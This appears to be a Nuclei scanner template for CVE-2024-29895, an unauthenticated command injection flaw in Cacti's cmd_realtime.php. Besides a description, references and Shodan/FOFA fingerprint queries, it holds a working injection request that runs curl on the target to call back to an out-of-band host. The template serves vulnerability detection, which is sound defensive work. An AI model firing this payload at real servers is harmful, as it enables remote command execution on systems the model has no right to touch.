id: CVE-2024-29895 info: name: Cacti cmd_realtime.php - Command Injection author: pussycat0x severity: critical description: | Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP. reference: - https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC - https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119 - https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d - https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc - https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2024-29895 cwe-id: CWE-77 epss-score: 0.00045 epss-percentile: 0.14706 metadata: max-request: 1 vendor: cacti product: cacti shodan-query: http.favicon.hash:-1797138069 fofa-query: icon_hash="-1797138069" tags: cve,cve2024,cacti,rce http: - method: GET path: - "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1" matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: interactsh_request words: - "User-Agent: curl" - type: status status: - 200 # digest: 4a0a00473045022036ca4f58d85a591e3fe884da59281548e9500972732050dd3c92e899ce68a962022100d81c2817da1936d80d54210d249046aa944f89ae9058d6df14a86cedf00535b1:922c64590222798bb761d5b6d8e72950